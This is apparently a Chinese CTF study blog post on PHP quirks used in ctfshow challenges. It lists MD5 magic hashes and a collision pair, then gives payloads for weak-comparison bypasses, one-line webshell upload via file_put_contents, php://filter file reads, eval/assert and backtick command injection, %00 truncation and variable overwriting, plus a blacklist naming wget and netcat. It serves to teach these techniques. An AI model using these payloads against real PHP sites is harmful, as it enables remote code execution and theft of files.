hello19195083900:0e674601908431368289110857474953
hello19793116672:0e811903033662824759764930345353
hello20713211437:0e977690635887290867676681639188
hello21259679978:0e547772458960324697116900050578
hello21333925385:0e670417101053731652248174312214
hello21576290701:0e088186168631173581624876059389
hello21625635498:0e803278139459070019409565297938
hello21960910191:0e494496613662122765707618390572
hello22131016813:00e89083858553525267218694193703
hello22355149941:00e66954822291536238327643342602
hello22407846698:0e688065097905052131160818049682
hello22462419833:0e150021313229535479448960192497
hello22524840741:0e427165560473709541262115879322
hello22684541754:0e212089178649039431933729688866
hello23311692247:0e875225739151635763781768168050
hello23482483937:0e151847567205329626226186994212
hello23919947361:0e554834940334311467473897130531
hello24034989169:0e220987314997743625442964283314
hello24343860700:0e070680132080871095604490841909
hello25957571388:0e505306610086634417027764698286
hello26790263335:0e781189643377847208451601226827
hello26903464651:0e914022345307317030885198241992
kFuiNituEBtYTL7s:00e98964689272988335938577613800
kZCLJqaExeldVpj0:0e656721453248642852483628066363
leEyBd5B7q3amjyG:0e394953505745405474013722050568
pumLyoapZAA9UDNG:00e97704981801156036802648235478
x3nHz0Tb1fId6UkI:0e389404952944040555093072566533
xqtlmRSdIANTlm1H:0e744254988746519482021441207857
zLnCfDklbnUmxqPX:0e584534642350465243534981705206
HFS_8z1+MWlaHRAH:00e75643634650030148510424537209
HFS_1+iq1ID4UnnU:0e735266984036051110930327520427
HFS_4HfzrCkFGXpw:0e646281365937497392704373659016
HFS_b+l93ZTnenaK:0e361812035730460151531645473846
HFS_StAqHq+DGI8d:0e111862011654913151517331666493
HFS_AxFzm23nYzeD:0e613355377549634251553032324836
HFS_0cIiLSiSswkh:00e66018400048726119673849053795
HFS_E0m8zzZKFT2R:00e13091337053035690315301170677
HFS_iWViAQ5MOc5g:00e26430923330343164204018649849
HFS_S73mdmL3numx:0e588371083636394650517986368324
HFS_9/rKCeq8tcY9:0e632684922796334502827808200584
.V;m=*]b?-:00e45653718969294213009554265803
egNJHP66&3E1:00e99757454497342716194968339146
KnCM6ogsNA1W:00e73414578113850089230341919829
&rh1ls6cl&G4:00e48890746054592674909531744787
0e215962017:0e291242476940776845150308577824
```

=== 是强类型比较,即比较大小,还比较类型,一般是要碰撞出来的,也可数组绕过

直接 chat 写脚本去匹配即可,一般是要你去传一个去等于它给的加密后的字符串,或是上一些网站到它的库里找

碰撞结果示例(这两个 md5 后相等)

1
2
md5_1=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab
md5_2=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab

# file_put_contents()

1
int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )

file_put_contents () 函数把一个字符串写入文件中。

该函数访问文件时,遵循以下规则:

如果设置了 FILE_USE_INCLUDE_PATH,那么将检查 filename 副本的内置路径 如果文件不存在,将创建一个文件
打开文件 如果设置了 LOCK_EX,那么将锁定文件 如果设置了 FILE_APPEND,那么将移至文件末尾。否则,将会清除文件的内容
向文件中写入数据 关闭文件并对所有文件解锁 如果成功,该函数将返回写入文件中的字符数。如果失败,则返回 False。

# in_array()

in_array () 函数搜索数组中是否存在指定的值。

1
in_array(search,array,type)

type 可选。如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同。
in_array 延用了 php 中的 ==

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$allow = array();//设置为数组
for ($i=36; $i < 0x36d; $i++)(十六进制 0x36d 等于十进制 877) {
array_push($allow, rand(1,$i));//向数组里面插入随机数
} i
f(isset($_GET['n']) && in_array($_GET['n'], $allow)){

/*检查参数和写入文件:
isset($_GET['n']) 检查是否存在 URL 参数 n。
in_array($_GET['n'], $allow) 检查 $_GET['n'] 是否在 $allow 数组中。
如果条件满足,则执行 file_put_contents($_GET['n'], $_POST['content']),将 $_POST['content'] 中的数据写入文件,文件名为 $_GET['n'] 的值。*/


//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1
file_put_contents($_GET['n'], $_POST['content']);
//写入1.php文件 内容是<?php system('ls');?>再访问/1.php即可

file_put_contents 函数:将参数 2 的内容写入到参数 1 中,这里就存在着任意文件上传的漏洞。

由于每次 rand 都是从 1 开始的,因此 array 数组中存在 1 的概率是非常大的,之后 in_array (GET[n],_GET['n'],array),当传入的参数 n 的值为 1.php 时,假设 array 中压入了 1。由于省略了第三个参数,存在弱类型比较,所以说 1.php 在比较的时候会强制转换为 1,刚好 array 中存在着 1. 满足 if 条件,执行 file_put_contents。

故 payload:?n=1.php POST 传参为 content= (多次尝试,让 1 压入栈中)

便将一句话木马上传到 1.php 中,直接 RCE。

# 优先级

# 符号

1
2
3
4
5
6
7
8
9
10
11
12
$bA = true;
$bB = false;
$b1 = $bA and $bB;
$b2 = $bA && $bB;
var_dump($b1); // $b1 = true
var_dump($b2); // $b2 = false
$bA = false;
$bB = true;
$b3 = $bA or $bB;
$b4 = $bA || $bB;
var_dump($b3); // $b3 = false
var_dump($b4); // $b4 = true

&& 与 || 的优先级高于 =
= 的优先级高于 and 与 or

只要令 v1 = 数字,v0 就为 true

这个题有三种 payload:

方法一:

v0=isnumeric(v0=is_numeric(v1) and is_numeric(v2)andisnumeric(v2) and is_numeric(v3); 只要使 v1 的值为 1,就可以使得 v0 的值为 true,从而进入 if,之后需要满足的是 v2 不能有分号,v3 必须有分号

payload:?v1=1&v2=system(‘tac ctfshow.php’)&v3=;

方法二:

使用反射类直接输出 class ctfshow 的信息

payload:?v1=1&v2=echo new ReflectionClass&v3=;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
class A{
public static $flag="flag{123123123}";
const PI=3.14;
static function hello(){
echo "hello</br>";
}
}
$a=new ReflectionClass('A');


var_dump($a->getConstants()); 获取一组常量
输出
array(1) {
["PI"]=>
float(3.14)
}

var_dump($a->getName()); 获取类名
输出
string(1) "A"

var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
["flag"]=>
string(15) "flag{123123123}"
}

var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
[0]=>
object(ReflectionMethod)#2 (2) {
["name"]=>
string(5) "hello"
["class"]=>
string(1) "A"
}
}

方法三:

因为这个 flag 在 ctfshow 这个类中,所以我们可以构造出 var_dump ($ctfshow);

payload:?v1=1&v2=var_dump($ctfshow)&v3=;

# PHP 伪协议

# 写文件

配合 file_put_contents (v 3 , v3,v3,str); 函数 // 在需要 base64 转换的时候

1
v3=php://filter/write=convert.base64-decode/resource=1.php&str=......

# 读文件

1
2
3
4
5
6
7
8
9
10
11
12
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}

通常我们使用:

1
2
php://filter/read=convert.base64-encode/resource=flag.php

当 ban 掉 base64 的时候,我们还可以用其他编码方式(或者不编码):

1
2
3
4
5
php://filter/resource=flag.php		
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php //可打印字符引用编码
compress.zlib://flag.php //压缩流

伪协议支持多种编码方式,无效的 ctfshow 就被忽略掉了:

1
2
3
f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
filter

# is_file () 函数

判断是否为文件

# php 伪协议绕过

highlight_file () 可以识别 php 伪协议 is_file () 不能识别 php 伪协议

# /proc/self/root

在 linux 中 /proc/self/root 是指向根目录的 也就是如果在命令行中输入 ls /proc/self/root
其实显示的内容是根目录下的内容 多次重复后绕过 is_file

1
2
file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

# sha1

# 数组绕过

1
2
3
4
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}

payload:

1
2
v1[]=1
v2[]=2

# 强类型比较

1
2
v1=aaK1STf    //0e7665852665575620768827115962402601
v2=aaO8zKZF //0e89257456677279068558073954252716165

# parse_str()

parse_str () 函数把查询字符串解析到变量中。

1
2
3
4
5
6
7
8
9
<?php
parse_str("name=Bill&age=60");
echo $name."<br>";
echo $age;
?>
结果
Bill
60

注意:
若要 post 参数,需加引号,如:v1=‘flag=0’

# ereg () 截断漏洞

1
2
3
4
5
6
7
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
die('error');
}
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}

payload:c=a%00778

反转后:c=877=0x36d

# strrev()

反转字符串,常出现在 %00 截断漏洞中
注:%00 是一个整体,不会反转成 00%

# Exception 异常处理类

和 ReflectionClass 反射类用法相似,该类中常用的成员函数如下所示:

1
2
3
4
5
6
7
8
getMessage():返回异常的消息内容;
getCode():以数字形式返回异常代码;
getFile():返回发生异常的文件名;
getLine():返回发生错误的代码行号;
getTrace():返回 backtrace() 数组;
getTraceAsString():返回已格式化成字符串的、由函数 getTrace() 函数所产生的信息;
__toString():产生异常的字符串信息,它可以重载。注意,该函数最前部是两个下划线。

可以和 system 连用:

1
Reflectionclass(system('cat `ls`'));

# FilesystemIterator 类读取文件

FilesystemIterator 获取指定目录下的所有文件
getcwd () 函数:获取当前工作目录 返回当前工作目录

1
FilesystemIterator(getcwd());

# php 变量

# $GLOBALS

$GLOBALS 是 PHP 的一个超级全局数组,用于存储所有全局变量。它允许在任何函数、方法或类中访问全局范围内定义的变量。与其他超级全局变量(如 $_GET , $_POST , $_SESSION 等)不同, $GLOBALS 不是基于请求的数组,而是包含了所有全局范围内的变量。

1
2
3
4
5
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");//$v1和$v2指向同一地址,此时$v1=$v2
var_dump($$v1);
}

payload:v1=ctfshow&v2=GLOBALS // 构成 $GLOBALS

# 使用 $GLOBALS

$GLOBALS 是一个关联数组,其中键是变量名,值是变量的内容。通过 $GLOBALS 可以访问、修改任何在全局范围内定义的变量。

# 示例:访问全局变量

1
2
3
4
5
6
7
8
php复制代码$x = 10;

function test() {
// 通过 $GLOBALS 访问全局变量
echo $GLOBALS['x']; // 输出 10
}

test();

在这个例子中,变量 $x 是在全局作用域定义的,函数 test() 中没有直接定义 $x ,但是通过 $GLOBALS['x'] 可以访问到全局变量。

# 示例:修改全局变量

1
2
3
4
5
6
7
8
9
php复制代码$x = 10;

function test() {
// 通过 $GLOBALS 修改全局变量
$GLOBALS['x'] = 20;
}

test();
echo $x; // 输出 20

这里通过 test() 函数修改了全局变量 $x 的值, $GLOBALS['x'] = 20; 在函数内修改了全局变量 $x 的值,最终在函数外部输出的是修改后的值 20

# 使用 $GLOBALS 的注意事项

  • 变量作用域:在 PHP 中,局部变量通常无法在函数外访问,除非它们通过参数传递或通过 $GLOBALS 访问。
  • 代码可读性和维护性:过度使用 $GLOBALS 可能会导致代码难以理解和维护,通常推荐尽量通过函数参数或返回值来传递数据。
  • 安全性问题:如果程序使用 $GLOBALS 修改不受信任的数据,可能导致意外的副作用,甚至是安全漏洞。

# 示例:使用 $GLOBALS 传递数据

1
2
3
4
5
6
7
8
9
10
php复制代码$a = 5;
$b = 10;

function sum() {
// 使用 $GLOBALS 访问全局变量并计算总和
$GLOBALS['result'] = $GLOBALS['a'] + $GLOBALS['b'];
}

sum();
echo $result; // 输出 15

在这个例子中, sum() 函数通过 $GLOBALS 访问了全局变量 $a$b ,并计算了它们的和,结果存储在全局变量 $result 中。

# 总结

  • $GLOBALS 是一个 PHP 超级全局数组,用于在函数和方法中访问和修改全局作用域中的变量。
  • 使用 $GLOBALS 时需要小心,因为它直接影响全局变量,可能会导致不易察觉的错误或副作用。
  • 最好将数据通过函数参数或返回值传递,而不是过度依赖 $GLOBALS

# get_defined_vars()

此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
用法:

1
var_dump(get_defined_vars())

# 变量命名

PHP 变量命名规则:
只能包含:字母、数字、下划线
其中,只能以字母、下划线开头

1
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){

php 变量命名不允许出现 .(点号), 需要绕过’CTF_SHOW.COM’

GET 或 POST 方式传进去的变量名,会自动将 空格 + . [ 转换为 *_*

特殊字符 [, GET 或 POST 方式传参时,变量名中的 [也会被替换为_, 但其后的字符就不会被替换了 因此:

1
CTF[SHOW.COM => CTF_SHOW.COM

# Fuzz 测试

1
2
3
4
5
6
7
8
9
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}

# is_numeric () 绕过

is_numeric () 要求识别为数字,但不能是 “36“

1
2
3
4
5
6
7
8
for ($i=0; $i <128 ; $i++) { 
$x=chr($i).'1';
if(is_numeric($x)==true){
echo urlencode(chr($i))."\n";
}
}
输出:%09 、%0A、 %0B、 %0C、 %0D、 +、 %2B、 -、 .(点)、

# trim () 绕过

1
trim(string,charlist)

参数 描述
string 必需。规定要检查的字符串。
charlist 可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:

1
2
3
4
5
6
7
"\0"       	- NULL
"\t" - 制表符
"\n" - 换行
"\x0B" - 垂直制表符
"\r" - 回车
" " - 空格

编写 fuzz 脚本

1
2
3
4
5
6
7
8
for ($i=0; $i <=128 ; $i++) { 
$x=chr($i).'1';
if(trim($x)!=='1' && is_numeric($x)){
echo urlencode(chr($i))."\n";
}
}
输出:%0C、%2B(+号)、-、.(点)、0、1、2、3、4、5、6、7、8、9

# $_SERVER[‘QUERY_STRING’]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
1,http://localhost/aaa/ (打开aaa中的index.php)
结果:
$_SERVER['QUERY_STRING'] = "";
$_SERVER['REQUEST_URI'] = "/aaa/";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";

2,http://localhost/aaa/?p=222 (附带查询)
结果:
$_SERVER['QUERY_STRING'] = "p=222";
$_SERVER['REQUEST_URI'] = "/aaa/?p=222";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";

3,http://localhost/aaa/index.php?p=222&q=333
结果:
$_SERVER['QUERY_STRING'] = "p=222&q=333";
$_SERVER['REQUEST_URI'] = "/aaa/index.php?p=222&q=333";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";

由实例可知:
$_SERVER["QUERY_STRING"] 获取查询 语句,实例中可知,获取的是?后面的值
$_SERVER["REQUEST_URI"] 获取 http://localhost 后面的值,包括/
$_SERVER["SCRIPT_NAME"] 获取当前脚本的路径,如:index.php
$_SERVER["PHP_SELF"] 当前正在执行脚本的文件名

网页模式下:
$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]

1
2
3
4
5
6
7
8
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(!isset($_GET['fl0g'])){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}

payload:

1
2
3
4
5
6
get:	?$fl0g=flag_give_me					    //1+flag_give_me		
post: fun=assert($a[0]) //eval($a[0]) //parse_str($a[1])

get: 1=flag.php
post: fun=highlight_file($_GET[1])

# Payload 分析

# Payload 1

  • GET 请求

    1
    ?$fl0g=flag_give_me
    • 这个请求直接设置 $fl0gflag_give_me
    • 当 GET 请求中包含 $fl0g=flag_give_me 时, if ($fl0g === "flag_give_me") 条件为 true ,因此会输出 $flag 的内容。
  • POST 请求

    1
    fun=assert($a[0])

    1
    eval($a[0])

    1
    parse_str($a[1])
    • 这几个 POST 请求设置了不同的

      1
      fun

      参数,以控制

      1
      eval()

      执行不同的代码。

      • fun=assert($a[0]) :通过 assert() 函数来执行 $a[0] ,即命令行中的第一个参数。可以注入特定代码以执行。
      • fun=eval($a[0]) :直接执行 $a[0] ,也是用命令行输入控制。
      • fun=parse_str($a[1]) :将 $a[1] 的内容解析为变量。假设 $a[1] 中包含类似 fl0g=flag_give_me 的内容,通过这种方式设置 $fl0g

# Payload 2

  • GET 请求

    1
    1=flag.php
    • 将文件名传入 GET 请求参数,用于指定文件。
  • POST 请求

    1
    fun=highlight_file($_GET[1])
    • highlight_file() 函数会输出指定文件的源代码。
    • 通过 $_GET[1] 参数指定文件,例如 flag.php ,则会将 flag.php 文件的源码输出。

# Payload 示例及实现意图

这些 Payload 的意图是通过操控 funfl0g 来执行任意代码,并最终访问 $flag 的内容或显示指定文件的内容。利用这种组合可以突破正常的代码执行限制,达到获取敏感信息的目的。

  1. 执行任意代码

    • 通过在 fun 中注入可执行代码,例如 assert()eval() ,可以远程执行任意 PHP 代码。
  2. 文件读取

    • 使用 highlight_file() 显示文件的源代码,访问潜在的敏感信息

# assert () 断言

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
assert() 断言:

PHP 5
bool assert ( mixed $assertion [, string $description ] )

PHP 7
bool assert ( mixed $assertion [, Throwable $exception ] )

如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行
可见,eval和assert都可以将字符当作代码执行,只不过assert不需要严格遵从语法,比如语句末尾的分号可不加
PHP 5 中的 assert()
bool assert(mixed $assertion [, string $description])
$assertion:这是要测试的表达式。它可以是布尔值、数值表达式、或者一个字符串。
$description:一个可选的描述信息。当 assert() 判断表达式为 false 时,它会输出这个描述。
在 PHP 5 中,如果 $assertion 为 false,则 assert() 输出警告信息并继续执行代码。

PHP 7 中的 assert()
bool assert(mixed $assertion [, Throwable $exception])
$assertion:同样是要测试的表达式。
$exception:在 PHP 7 中,assert() 支持直接抛出异常。当 $assertion 为 false 时,如果提供了 $exception 参数,将抛出指定的 Throwable 异常。
在 PHP 7 中,assert() 被改进为可以在失败时抛出异常,而不仅仅是输出警告。这让 assert() 在错误处理和调试中变得更为灵活。

# gettext 拓展

在开启该拓展后 _() 等效于 gettext ()

1
2
3
4
5
echo gettext("phpinfo"); 
结果 phpinfo
echo _("phpinfo");
结果 phpinfo

# shell_exec()

1
2
3
4
5
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}

套娃命令执行:

1
2
3
4
5
6
7
get传参   F=`$F `;sleep 3
经过substr($F,0,6)截取后 得到 `$F `;
也就是会执行 eval("`$F `;");
我们把原来的$F带进去
eval("``$F `;sleep 3`"); //``是shell_exec()函数的缩写
前面的命令我们不需要管,但是后面的命令我们可以自由控制。

# prase_str () 和 extract ()

parse_str ():把查询字符串解析到变量中。
extract ():从数组中将变量导入到当前的符号表
注意区别: extract 是将数组中元素分解,执行后数组的 key 值作为变量名,数组的 value 赋值给对应 Key 的变量,这样可以直接通过 Key 变量去访问,不用数组加 key 去访问。 即:从数组中创建变量

parse_str 是根据 "=" 来分解字符串,主要用于对 url 参数的解析。

1
2
3
4
5
6
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}

payload:

1
2
3
4
5
get:_POST[key1]=36d&_POST[key2]=36d

经过parse_str($_SERVER['QUERY_STRING']) ==> $_POST[key1]=36d 数组形式
经过extract($_POST) ==> $key=36d

# nl、cp、mv、tee 写文件

在禁命令的时候没有限制写文件:

1
2
3
4
nl flag.php>1.txt
cp flag.php>1.txt
mv flag.php>1.txt

tee 指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件

1
2
3
ls /|tee 1
然后访问/1下载文件

  • 标题: php特性
  • 作者: The Redefine Team
  • 创建于 : 2024-11-06 20:04:07
  • 更新于 : 2025-02-23 16:08:09
  • 链接: https://redefine.ohevan.com/2024/11/06/php特性/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论